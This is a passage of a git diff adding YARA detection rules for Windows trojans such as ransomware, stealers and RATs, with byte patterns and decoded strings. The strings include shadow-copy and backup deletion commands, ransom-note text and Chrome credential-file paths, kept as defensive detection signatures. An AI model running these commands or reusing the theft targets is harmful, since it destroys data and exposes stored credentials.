65 61 64 79 20 66 75 63 6b 65 64 20 62 79 20 74 68 65 20 74 69 6d 65 20 79 6f 75 20 72 65 61 64 20 74 68 69 73 20 6c 69 6e 65 2e } //1 don't try to reset, your pc is already fucked by the time you read this line. + $a_01_8 = {66 69 6c 65 20 64 65 63 72 79 70 74 69 6f 6e 20 69 73 20 69 6d 70 6f 73 73 69 62 6c 65 2e 20 74 68 65 20 64 65 63 72 79 70 74 69 6f 6e 20 6b 65 79 73 20 68 61 76 65 20 61 6c 72 65 61 64 79 20 62 65 65 6e 20 64 65 6c 65 74 65 64 } //1 file decryption is impossible. the decryption keys have already been deleted + condition: + ((#a_01_0 & 1)*2+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1+(#a_01_5 & 1)*1+(#a_01_6 & 1)*1+(#a_01_7 & 1)*1+(#a_01_8 & 1)*1) >=10 + } \ No newline at end of file diff --git a/Trojan/Win64/Filecoder/Trojan_Win64_Filecoder_AFD_MTB.yar b/Trojan/Win64/Filecoder/Trojan_Win64_Filecoder_AFD_MTB.yar new file mode 100644 index 0000000000..b76438795d --- /dev/null +++ b/Trojan/Win64/Filecoder/Trojan_Win64_Filecoder_AFD_MTB.yar @@ -0,0 +1,13 @@ + +rule Trojan_Win64_Filecoder_AFD_MTB{ + meta: + description = "Trojan:Win64/Filecoder.AFD!MTB,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 03 00 00 " + + strings : + $a_01_0 = {80 33 aa 48 39 c2 74 14 0f 1f 40 00 80 32 aa 80 72 01 aa 48 83 c2 02 48 39 c2 } //3 + $a_01_1 = {70 72 6f 67 72 61 6d 20 66 69 6c 65 73 5c 76 6d 77 61 72 65 5c 76 6d 77 61 72 65 20 74 6f 6f 6c 73 5c 76 6d 74 6f 6f 6c 73 64 2e 65 78 65 } //2 program files\vmware\vmware tools\vmtoolsd.exe + $a_01_2 = {70 72 6f 67 72 61 6d 20 66 69 6c 65 73 5c 6f 72 61 63 6c 65 5c 76 69 72 74 75 61 6c 62 6f 78 20 67 75 65 73 74 20 61 64 64 69 74 69 6f 6e 73 5c 76 62 6f 78 73 65 72 76 69 63 65 2e 65 78 65 } //1 program files\oracle\virtualbox guest additions\vboxservice.exe + condition: + ((#a_01_0 & 1)*3+(#a_01_1 & 1)*2+(#a_01_2 & 1)*1) >=6 + +} \ No newline at end of file diff --git a/Trojan/Win64/Filecoder/Trojan_Win64_Filecoder_NIA_MTB.yar b/Trojan/Win64/Filecoder/Trojan_Win64_Filecoder_NIA_MTB.yar new file mode 100644 index 0000000000..a349b632e7 --- /dev/null +++ b/Trojan/Win64/Filecoder/Trojan_Win64_Filecoder_NIA_MTB.yar @@ -0,0 +1,17 @@ + +rule Trojan_Win64_Filecoder_NIA_MTB{ + meta: + description = "Trojan:Win64/Filecoder.NIA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 07 00 00 " + + strings : + $a_81_0 = {2e 45 4e 43 52 59 50 54 } //2 .ENCRYPT + $a_81_1 = {4f 6f 6f 70 73 2c 20 79 6f 75 72 20 66 69 6c 65 73 20 68 61 76 65 20 62 65 65 6e 20 65 6e 63 72 79 70 74 65 64 21 } //1 Ooops, your files have been encrypted! + $a_81_2 = {53 65 6e 64 20 24 31 30 30 30 20 77 6f 72 74 68 20 6f 66 20 4d 6f 6e 65 72 6f 20 74 6f 20 74 68 69 73 20 61 64 64 72 65 73 73 } //1 Send $1000 worth of Monero to this address + $a_81_3 = {59 6f 75 72 20 66 69 6c 65 73 20 77 69 6c 6c 20 62 65 20 6c 6f 73 74 20 6f 6e } //1 Your files will be lost on + $a_81_4 = {52 61 6e 73 6f 6d 57 69 6e 64 6f 77 43 6c 61 73 73 } //1 RansomWindowClass + $a_81_5 = {45 6e 63 72 79 70 74 65 64 20 4b 65 79 3a } //1 Encrypted Key: + $a_81_6 = {44 65 63 72 79 70 74 69 6f 6e 20 4b 65 79 3a } //1 Decryption Key: + condition: + ((#a_81_0 & 1)*2+(#a_81_1 & 1)*1+(#a_81_2 & 1)*1+(#a_81_3 & 1)*1+(#a_81_4 & 1)*1+(#a_81_5 & 1)*1+(#a_81_6 & 1)*1) >=8 + +} \ No newline at end of file diff --git a/Trojan/Win64/Filecoder/Trojan_Win64_Filecoder_PGF_MTB.yar b/Trojan/Win64/Filecoder/Trojan_Win64_Filecoder_PGF_MTB.yar new file mode 100644 index 0000000000..9ff6274b2c --- /dev/null +++ b/Trojan/Win64/Filecoder/Trojan_Win64_Filecoder_PGF_MTB.yar @@ -0,0 +1,15 @@ + +rule Trojan_Win64_Filecoder_PGF_MTB{ + meta: + description = "Trojan:Win64/Filecoder.PGF!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 05 00 00 " + + strings : + $a_81_0 = {76 73 73 61 64 6d 69 6e 20 64 65 6c 65 74 65 20 73 68 61 64 6f 77 73 20 2f 61 6c 6c 20 2f 71 75 69 65 74 20 3e 6e 75 6c } //2 vssadmin delete shadows /all /quiet >nul + $a_81_1 = {77 62 61 64 6d 69 6e 20 64 65 6c 65 74 65 20 63 61 74 61 6c 6f 67 20 2d 71 75 69 65 74 20 3e 6e 75 6c } //2 wbadmin delete catalog -quiet >nul + $a_81_2 = {62 63 64 65 64 69 74 20 2f 73 65 74 20 7b 64 65 66 61 75 6c 74 7d 20 72 65 63 6f 76 65 72 79 65 6e 61 62 6c 65 64 20 6e 6f 20 3e 6e 75 6c } //2 bcdedit /set {default} recoveryenabled no >nul + $a_81_3 = {73 76 63 68 6f 73 74 5f 6c 6f 67 2e 74 78 74 } //2 svchost_log.txt + $a_81_4 = {66 69 6c 65 73 20 65 6e 63 72 79 70 74 65 64 2e 20 43 68 65 63 6b 20 52 45 41 44 4d 45 } //2 files encrypted. Check README + condition: + ((#a_81_0 & 1)*2+(#a_81_1 & 1)*2+(#a_81_2 & 1)*2+(#a_81_3 & 1)*2+(#a_81_4 & 1)*2) >=10 + +} \ No newline at end of file diff --git a/Trojan/Win64/Formbook/Trojan_Win64_FormBook_BSA_MTB.yar b/Trojan/Win64/Formbook/Trojan_Win64_FormBook_BSA_MTB.yar new file mode 100644 index 0000000000..539b0096ec --- /dev/null +++ b/Trojan/Win64/Formbook/Trojan_Win64_FormBook_BSA_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_Win64_FormBook_BSA_MTB{ + meta: + description = "Trojan:Win64/FormBook.BSA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 00 " + + strings : + $a_01_0 = {61 59 46 35 6a 4f 36 49 37 78 54 70 79 39 68 39 4f 30 63 4f 55 47 6e 4c 76 32 2e 64 6c 6c } //1 aYF5jO6I7xTpy9h9O0cOUGnLv2.dll + $a_01_1 = {30 4d 78 52 55 35 33 67 37 63 54 54 39 4a 6a 53 75 46 69 52 36 78 35 46 55 68 } //1 0MxRU53g7cTT9JjSuFiR6x5FUh + condition: + ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1) >=2 + +} \ No newline at end of file diff --git a/Trojan/Win64/Fragtor/Trojan_Win64_Fragtor_MR_MTB.yar b/Trojan/Win64/Fragtor/Trojan_Win64_Fragtor_MR_MTB.yar new file mode 100644 index 0000000000..3bba5be2f0 --- /dev/null +++ b/Trojan/Win64/Fragtor/Trojan_Win64_Fragtor_MR_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_Win64_Fragtor_MR_MTB{ + meta: + description = "Trojan:Win64/Fragtor.MR!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0f 00 0f 00 02 00 00 " + + strings : + $a_01_0 = {48 8b 45 f0 48 8d 50 01 48 89 55 f0 0f b6 10 48 8b 45 f8 48 8d 48 01 48 89 4d f8 88 10 48 83 6d 20 01 48 83 7d 20 } //10 + $a_01_1 = {89 45 fc 48 8b 45 10 48 8d 50 01 48 89 55 10 0f b6 00 0f b6 c0 89 45 f8 83 7d f8 00 0f 95 c0 84 c0 } //5 + condition: + ((#a_01_0 & 1)*10+(#a_01_1 & 1)*5) >=15 + +} \ No newline at end of file diff --git a/Trojan/Win64/FrostyGoop/Trojan_Win64_FrostyGoop_AFR_MTB.yar b/Trojan/Win64/FrostyGoop/Trojan_Win64_FrostyGoop_AFR_MTB.yar new file mode 100644 index 0000000000..afa2b33197 --- /dev/null +++ b/Trojan/Win64/FrostyGoop/Trojan_Win64_FrostyGoop_AFR_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win64_FrostyGoop_AFR_MTB{ + meta: + description = "Trojan:Win64/FrostyGoop.AFR!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_01_0 = {48 8b 6d 00 48 8d 05 a9 7a 07 00 48 89 44 24 50 48 c7 44 24 58 08 00 00 00 48 8d 0d 57 73 07 00 48 89 4c 24 60 48 c7 44 24 68 07 00 00 00 48 8d 0d f4 69 07 00 48 89 4c 24 70 48 c7 44 24 78 03 00 00 00 48 8d 0d 3f 72 07 00 48 89 8c 24 80 00 00 00 48 c7 84 24 88 } //1 + condition: + ((#a_01_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/Win64/GhostRAT/Trojan_Win64_GhostRAT_ARA_MTB.yar b/Trojan/Win64/GhostRAT/Trojan_Win64_GhostRAT_ARA_MTB.yar new file mode 100644 index 0000000000..03b4c86547 --- /dev/null +++ b/Trojan/Win64/GhostRAT/Trojan_Win64_GhostRAT_ARA_MTB.yar @@ -0,0 +1,13 @@ + +rule Trojan_Win64_GhostRAT_ARA_MTB{ + meta: + description = "Trojan:Win64/GhostRAT.ARA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 03 00 00 " + + strings : + $a_01_0 = {5c 52 65 6c 65 61 73 65 5c 43 6f 64 65 5f 53 68 65 6c 6c 63 6f 64 65 2e 70 64 62 } //2 \Release\Code_Shellcode.pdb + $a_01_1 = {56 46 50 6f 77 65 72 } //2 VFPower + $a_01_2 = {7a 68 75 78 69 61 6e 6c 75 } //2 zhuxianlu + condition: + ((#a_01_0 & 1)*2+(#a_01_1 & 1)*2+(#a_01_2 & 1)*2) >=6 + +} \ No newline at end of file diff --git a/Trojan/Win64/GhostRAT/Trojan_Win64_GhostRat_AGO_MTB.yar b/Trojan/Win64/GhostRAT/Trojan_Win64_GhostRat_AGO_MTB.yar new file mode 100644 index 0000000000..6b78d65044 --- /dev/null +++ b/Trojan/Win64/GhostRAT/Trojan_Win64_GhostRat_AGO_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win64_GhostRat_AGO_MTB{ + meta: + description = "Trojan:Win64/GhostRat.AGO!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_03_0 = {0f b6 04 10 32 45 d7 8b 55 fc 48 63 d2 48 8d 0d ?? ?? ?? ?? 88 04 0a 83 45 fc 01 8b 55 fc } //1 + condition: + ((#a_03_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/Win64/Havoc/Trojan_Win64_Havoc_PAGZ_MTB.yar b/Trojan/Win64/Havoc/Trojan_Win64_Havoc_PAGZ_MTB.yar new file mode 100644 index 0000000000..20e07ff3ee --- /dev/null +++ b/Trojan/Win64/Havoc/Trojan_Win64_Havoc_PAGZ_MTB.yar @@ -0,0 +1,13 @@ + +rule Trojan_Win64_Havoc_PAGZ_MTB{ + meta: + description = "Trojan:Win64/Havoc.PAGZ!MTB,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 03 00 00 " + + strings : + $a_03_0 = {53 48 83 ec 30 80 ?? ?? ?? ?? ?? 00 48 8d 5c 24 28 74 ?? 49 89 d8 ba 01 00 00 00 b9 01 00 00 00 ff 15 } //3 + $a_01_1 = {45 31 c0 48 8d 54 24 68 4c 8d 4c 24 70 c7 44 24 28 04 00 00 00 48 89 c1 c7 44 24 20 00 30 00 00 e8 } //2 + $a_01_2 = {41 b9 00 96 01 00 49 89 f0 48 c7 44 24 20 00 00 00 00 48 89 c1 48 89 fa e8 } //2 + condition: + ((#a_03_0 & 1)*3+(#a_01_1 & 1)*2+(#a_01_2 & 1)*2) >=7 + +} \ No newline at end of file diff --git a/Trojan/Win64/Havoc/Trojan_Win64_Havoc_PAHA_MTB.yar b/Trojan/Win64/Havoc/Trojan_Win64_Havoc_PAHA_MTB.yar new file mode 100644 index 0000000000..3ba48a3531 --- /dev/null +++ b/Trojan/Win64/Havoc/Trojan_Win64_Havoc_PAHA_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_Win64_Havoc_PAHA_MTB{ + meta: + description = "Trojan:Win64/Havoc.PAHA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 02 00 00 " + + strings : + $a_03_0 = {53 48 83 ec 40 0f 11 74 24 30 80 3d ?? ?? ?? ?? 00 0f 10 f0 48 8d 5c 24 28 74 1a 49 89 d8 ba 01 00 00 00 b9 01 00 00 00 ff 15 } //2 + $a_01_1 = {45 31 c0 4c 8d 4c 24 40 4c 89 e2 48 89 c1 c7 44 24 28 04 00 00 00 c7 44 24 20 00 30 00 00 ff } //1 + condition: + ((#a_03_0 & 1)*2+(#a_01_1 & 1)*1) >=3 + +} \ No newline at end of file diff --git a/Trojan/Win64/Helcobtik/Trojan_Win64_Helcobtik_A.yar b/Trojan/Win64/Helcobtik/Trojan_Win64_Helcobtik_A.yar new file mode 100644 index 0000000000..21fae80162 --- /dev/null +++ b/Trojan/Win64/Helcobtik/Trojan_Win64_Helcobtik_A.yar @@ -0,0 +1,12 @@ + +rule Trojan_Win64_Helcobtik_A{ + meta: + description = "Trojan:Win64/Helcobtik.A,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 00 " + + strings : + $a_03_0 = {b8 a9 74 64 cf [0-10] c1 ea 06 6b c2 4f } //1 + $a_03_1 = {b8 a9 74 64 cf [0-10] 66 83 e1 7f 66 89 0f } //1 + condition: + ((#a_03_0 & 1)*1+(#a_03_1 & 1)*1) >=2 + +} \ No newline at end of file diff --git a/Trojan/Win64/Helcobtik/Trojan_Win64_Helcobtik_B.yar b/Trojan/Win64/Helcobtik/Trojan_Win64_Helcobtik_B.yar new file mode 100644 index 0000000000..e1c472ed85 --- /dev/null +++ b/Trojan/Win64/Helcobtik/Trojan_Win64_Helcobtik_B.yar @@ -0,0 +1,17 @@ + +rule Trojan_Win64_Helcobtik_B{ + meta: + description = "Trojan:Win64/Helcobtik.B,SIGNATURE_TYPE_PEHSTR_EXT,68 00 68 00 07 00 00 " + + strings : + $a_01_0 = {f1 d5 00 fa 4c 62 cc f4 0f 0b } //100 + $a_03_1 = {da b8 dc 91 [0-05] 18 93 1a 32 } //1 + $a_01_2 = {66 c1 e8 0a 66 83 e1 1c 66 83 e0 0f 66 c1 e1 02 66 0b c8 66 41 89 49 02 0f b7 42 04 } //1 + $a_03_3 = {52 00 76 00 c7 ?? ?? ?? 31 00 31 00 c7 ?? ?? ?? 35 00 00 00 } //1 + $a_03_4 = {c3 34 5a 48 83 3d ?? ?? ?? 00 00 0f 84 cb 00 00 00 4c 8b d7 4c 8b de 48 83 c4 08 5e 48 8b 7c 24 20 } //1 + $a_01_5 = {eb 24 c7 43 10 05 00 00 00 48 8d 4b 10 e8 } //1 + $a_00_6 = {00 20 20 20 20 61 20 20 20 20 00 } //1 + condition: + ((#a_01_0 & 1)*100+(#a_03_1 & 1)*1+(#a_01_2 & 1)*1+(#a_03_3 & 1)*1+(#a_03_4 & 1)*1+(#a_01_5 & 1)*1+(#a_00_6 & 1)*1) >=104 + +} \ No newline at end of file diff --git a/Trojan/Win64/Heracles/Trojan_Win64_Heracles_TMX_MTB.yar b/Trojan/Win64/Heracles/Trojan_Win64_Heracles_TMX_MTB.yar new file mode 100644 index 0000000000..d84a884a54 --- /dev/null +++ b/Trojan/Win64/Heracles/Trojan_Win64_Heracles_TMX_MTB.yar @@ -0,0 +1,15 @@ + +rule Trojan_Win64_Heracles_TMX_MTB{ + meta: + description = "Trojan:Win64/Heracles.TMX!MTB,SIGNATURE_TYPE_PEHSTR,09 00 09 00 05 00 00 " + + strings : + $a_01_0 = {24 38 35 42 41 30 44 46 43 2d 37 34 36 44 2d 34 32 39 32 2d 39 39 37 43 2d 39 45 46 41 45 32 39 43 41 35 37 46 } //4 $85BA0DFC-746D-4292-997C-9EFAE29CA57F + $a_01_1 = {43 3a 5c 77 65 62 76 69 65 77 32 5c 77 65 62 76 69 65 77 32 5c 6f 62 6a 5c 52 65 6c 65 61 73 65 5c 77 65 62 76 69 65 77 32 2e 70 64 62 } //4 C:\webview2\webview2\obj\Release\webview2.pdb + $a_01_2 = {50 61 6c 69 6e 64 72 6f 6d 65 } //1 Palindrome + $a_01_3 = {46 61 68 72 65 6e 68 65 69 74 } //1 Fahrenheit + $a_01_4 = {47 65 74 52 61 6e 64 6f 6d 57 6f 72 64 } //1 GetRandomWord + condition: + ((#a_01_0 & 1)*4+(#a_01_1 & 1)*4+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1) >=9 + +} \ No newline at end of file diff --git a/Trojan/Win64/Injector/Trojan_Win64_Injector_KK_MTB.yar b/Trojan/Win64/Injector/Trojan_Win64_Injector_KK_MTB.yar new file mode 100644 index 0000000000..7169a6e13e --- /dev/null +++ b/Trojan/Win64/Injector/Trojan_Win64_Injector_KK_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win64_Injector_KK_MTB{ + meta: + description = "Trojan:Win64/Injector.KK!MTB,SIGNATURE_TYPE_PEHSTR_EXT,14 00 14 00 01 00 00 " + + strings : + $a_03_0 = {48 33 c1 48 8b d0 8b c0 48 c1 ea ?? 48 33 d0 41 83 e0 ?? 48 8b c2 49 33 c1 41 be ?? 00 00 00 48 35 ?? ?? ?? ?? 41 8b ce 48 c1 e8 08 41 2a c8 48 33 c2 } //20 + condition: + ((#a_03_0 & 1)*20) >=20 + +} \ No newline at end of file diff --git a/Trojan/Win64/Injector/Trojan_Win64_Injector_LM_MTB.yar b/Trojan/Win64/Injector/Trojan_Win64_Injector_LM_MTB.yar new file mode 100644 index 0000000000..9c54b86f91 --- /dev/null +++ b/Trojan/Win64/Injector/Trojan_Win64_Injector_LM_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_Win64_Injector_LM_MTB{ + meta: + description = "Trojan:Win64/Injector.LM!MTB,SIGNATURE_TYPE_PEHSTR_EXT,19 00 19 00 02 00 00 " + + strings : + $a_03_0 = {41 0f b6 09 41 ff c0 83 e1 0f 4a 0f be 84 31 60 ad 76 00 42 8a ?? ?? ?? ?? ?? ?? 4c 2b c8 41 8b 51 fc d3 ea ff ca 45 3b c3 } //10 + $a_03_1 = {4a 0f be 84 19 60 ad 76 00 42 8a ?? ?? ?? ?? ?? ?? 48 2b d0 8b 42 fc 4c 8d 42 04 d3 e8 49 89 51 08 41 89 41 20 8b 02 4d 89 41 08 41 89 41 24 49 83 ea 01 } //15 + condition: + ((#a_03_0 & 1)*10+(#a_03_1 & 1)*15) >=25 + +} \ No newline at end of file diff --git a/Trojan/Win64/InjectorNetT/Trojan_Win64_InjectorNetT_A_MTB.yar b/Trojan/Win64/InjectorNetT/Trojan_Win64_InjectorNetT_A_MTB.yar new file mode 100644 index 0000000000..d9b45695ce --- /dev/null +++ b/Trojan/Win64/InjectorNetT/Trojan_Win64_InjectorNetT_A_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win64_InjectorNetT_A_MTB{ + meta: + description = "Trojan:Win64/InjectorNetT.A!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_01_0 = {8a 45 66 8a 4d 67 88 c2 80 f2 ff 80 e2 01 41 b0 01 45 88 c1 41 80 f1 01 41 88 c2 45 20 ca 44 08 d2 80 f2 ff 80 f2 01 80 e2 ff 45 88 c1 } //1 + condition: + ((#a_01_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/Win64/Injuke/Trojan_Win64_Injuke_GVA_MTB.yar b/Trojan/Win64/Injuke/Trojan_Win64_Injuke_GVA_MTB.yar new file mode 100644 index 0000000000..40c9b28388 --- /dev/null +++ b/Trojan/Win64/Injuke/Trojan_Win64_Injuke_GVA_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win64_Injuke_GVA_MTB{ + meta: + description = "Trojan:Win64/Injuke.GVA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_01_0 = {41 89 c2 46 8a 1c 00 89 c1 80 e1 03 41 d2 cb 41 83 e2 0f 43 8a 0c 0a 80 e1 0f 44 30 d9 88 0c 32 48 ff c6 48 ff c0 48 3d } //1 + condition: + ((#a_01_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/Win64/InterLock/Trojan_Win64_InterLock_GVA_MTB.yar b/Trojan/Win64/InterLock/Trojan_Win64_InterLock_GVA_MTB.yar new file mode 100644 index 0000000000..bcbaecd6a4 --- /dev/null +++ b/Trojan/Win64/InterLock/Trojan_Win64_InterLock_GVA_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win64_InterLock_GVA_MTB{ + meta: + description = "Trojan:Win64/InterLock.GVA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 00 " + + strings : + $a_02_0 = {55 48 89 e5 48 83 ec 40 48 89 75 f8 48 89 f1 48 81 c1 ?? ?? ?? 00 e8 ?? ?? ?? ?? 48 89 c6 48 89 05 ?? ?? ?? ?? e8 05 00 00 00 90 13 48 8b 07 48 89 45 f0 48 83 c7 08 48 31 db 0f 31 48 89 55 e0 } //2 + condition: + ((#a_02_0 & 1)*2) >=2 + +} \ No newline at end of file diff --git a/Trojan/Win64/KatzStealer/Trojan_Win64_KatzStealer_RH_MTB.yar b/Trojan/Win64/KatzStealer/Trojan_Win64_KatzStealer_RH_MTB.yar new file mode 100644 index 0000000000..5a5b7e5c87 --- /dev/null +++ b/Trojan/Win64/KatzStealer/Trojan_Win64_KatzStealer_RH_MTB.yar @@ -0,0 +1,15 @@ + +rule Trojan_Win64_KatzStealer_RH_MTB{ + meta: + description = "Trojan:Win64/KatzStealer.RH!MTB,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 05 00 00 " + + strings : + $a_03_0 = {50 45 00 00 64 86 0b ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 0b 02 02 2b 00 84 0d 00 00 e2 10 00 00 0e 00 00 20 13 00 00 00 10 } //3 + $a_01_1 = {46 61 69 6c 65 64 20 74 6f 20 73 65 74 20 70 72 6f 78 79 20 62 6c 61 6e 6b 65 74 2e } //1 Failed to set proxy blanket. + $a_01_2 = {44 65 63 72 79 70 74 69 6f 6e 20 66 61 69 6c 65 64 2e 20 4c 61 73 74 20 65 72 72 6f 72 3a } //1 Decryption failed. Last error: + $a_01_3 = {5c 47 6f 6f 67 6c 65 5c 43 68 72 6f 6d 65 5c 55 73 65 72 20 44 61 74 61 5c 4c 6f 63 61 6c 20 53 74 61 74 65 } //1 \Google\Chrome\User Data\Local State + $a_00_4 = {25 00 73 00 5c 00 64 00 65 00 63 00 72 00 79 00 70 00 74 00 65 00 64 00 5f 00 61 00 70 00 70 00 62 00 6f 00 75 00 6e 00 64 00 5f 00 6b 00 65 00 79 00 2e 00 74 00 78 00 74 00 } //2 %s\decrypted_appbound_key.txt + condition: + ((#a_03_0 & 1)*3+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1+(#a_00_4 & 1)*2) >=8 + +} \ No newline at end of file diff --git a/Trojan/Win64/KillProc/Trojan_Win64_KillProc_GVA_MTB.yar b/Trojan/Win64/KillProc/Trojan_Win64_KillProc_GVA_MTB.yar new file mode 100644 index 0000000000..95d7cec368 --- /dev/null +++ b/Trojan/Win64/KillProc/Trojan_Win64_KillProc_GVA_MTB.yar @@ -0,0 +1,16 @@ + +rule Trojan_Win64_KillProc_GVA_MTB{ + meta: + description = "Trojan:Win64/KillProc.GVA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 06 00 00 " + + strings : + $a_01_0 = {6d 61 69 6e 2e 61 76 6c 69 73 74 } //3 main.avlist + $a_01_1 = {6d 61 69 6e 2e 69 73 50 72 6f 63 65 73 73 52 75 6e 6e 69 6e 67 } //1 main.isProcessRunning + $a_01_2 = {6d 61 69 6e 2e 4c 6f 61 64 44 72 69 76 65 72 } //1 main.LoadDriver + $a_01_3 = {6d 61 69 6e 2e 46 69 6e 64 50 72 6f 63 65 73 73 42 79 4e 61 6d 65 } //1 main.FindProcessByName + $a_01_4 = {6d 61 69 6e 2e 54 65 72 6d 69 6e 61 74 65 50 72 6f 63 65 73 73 42 79 49 4f 43 54 4c } //1 main.TerminateProcessByIOCTL + $a_01_5 = {6d 61 69 6e 2e 52 65 67 69 73 74 65 72 50 72 6f 63 65 73 73 42 79 49 4f 43 54 4c } //1 main.RegisterProcessByIOCTL + condition: + ((#a_01_0 & 1)*3+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1+(#a_01_5 & 1)*1) >=8 + +} \ No newline at end of file diff --git a/Trojan/Win64/Kryptik/Trojan_Win64_Kryptik_PGK_MTB.yar b/Trojan/Win64/Kryptik/Trojan_Win64_Kryptik_PGK_MTB.yar new file mode 100644 index 0000000000..0a0a9f0a59 --- /dev/null +++ b/Trojan/Win64/Kryptik/Trojan_Win64_Kryptik_PGK_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win64_Kryptik_PGK_MTB{ + meta: + description = "Trojan:Win64/Kryptik.PGK!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 00 " + + strings : + $a_01_0 = {1f 0a 08 32 35 1f 0a 08 30 05 38 62 05 00 00 1e 08 32 0e 1e 08 30 05 38 f2 04 00 00 38 86 03 00 00 1f 09 08 32 0f 1f 09 08 30 05 38 09 05 00 00 38 72 03 00 00 38 6d 03 00 00 } //5 + condition: + ((#a_01_0 & 1)*5) >=5 + +} \ No newline at end of file diff --git a/Trojan/Win64/Kuping/Trojan_Win64_Kuping_PBK_MTB.yar b/Trojan/Win64/Kuping/Trojan_Win64_Kuping_PBK_MTB.yar new file mode 100644 index 0000000000..95876e3889 --- /dev/null +++ b/Trojan/Win64/Kuping/Trojan_Win64_Kuping_PBK_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win64_Kuping_PBK_MTB{ + meta: + description = "Trojan:Win64/Kuping.PBK!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_01_0 = {65 48 8b 04 25 60 00 00 00 48 8b 40 10 48 89 05 3f 8c 0a 00 31 c9 ff 15 } //1 + condition: + ((#a_01_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/Win64/Kuping/Trojan_Win64_Kuping_UDP_MTB.yar b/Trojan/Win64/Kuping/Trojan_Win64_Kuping_UDP_MTB.yar new file mode 100644 index 0000000000..0522e437bd --- /dev/null +++ b/Trojan/Win64/Kuping/Trojan_Win64_Kuping_UDP_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win64_Kuping_UDP_MTB{ + meta: + description = "Trojan:Win64/Kuping.UDP!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_01_0 = {65 48 8b 04 25 60 00 00 00 48 8b 48 18 48 83 c1 20 48 89 c8 66 0f 1f 44 00 00 48 8b 00 48 39 c8 } //1 + condition: + ((#a_01_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/Win64/Latrodectus/Trojan_Win64_Latrodectus_ADTZ_MTB.yar b/Trojan/Win64/Latrodectus/Trojan_Win64_Latrodectus_ADTZ_MTB.yar new file mode 100644 index 0000000000..f63e3a211a --- /dev/null +++ b/Trojan/Win64/Latrodectus/Trojan_Win64_Latrodectus_ADTZ_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win64_Latrodectus_ADTZ_MTB{ + meta: + description = "Trojan:Win64/Latrodectus.ADTZ!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_01_0 = {49 8b d7 48 8b cf 48 2b d7 8a 04 0a 45 03 c4 88 01 49 63 c0 49 03 cc 49 3b c1 } //1 + condition: + ((#a_01_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/Win64/Latrodectus/Trojan_Win64_Latrodectus_BH_MTB.yar b/Trojan/Win64/Latrodectus/Trojan_Win64_Latrodectus_BH_MTB.yar new file mode 100644 index 0000000000..60a208548f --- /dev/null +++ b/Trojan/Win64/Latrodectus/Trojan_Win64_Latrodectus_BH_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_Win64_Latrodectus_BH_MTB{ + meta: + description = "Trojan:Win64/Latrodectus.BH!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 02 00 00 " + + strings : + $a_01_0 = {c5 dd 69 e9 c5 dd 61 e1 0f 58 c8 0f 28 c3 90 90 90 49 21 c4 49 83 eb 0a 90 41 88 0c 08 90 90 90 48 ff c1 41 08 ce 48 83 f9 72 } //4 + $a_01_1 = {c5 d5 fd f5 4c 8d 44 24 20 c5 fd 67 c0 c5 f5 67 c9 } //1 + condition: + ((#a_01_0 & 1)*4+(#a_01_1 & 1)*1) >=5 + +} \ No newline at end of file diff --git a/Trojan/Win64/Latrodectus/Trojan_Win64_Latrodectus_BJ_MTB.yar 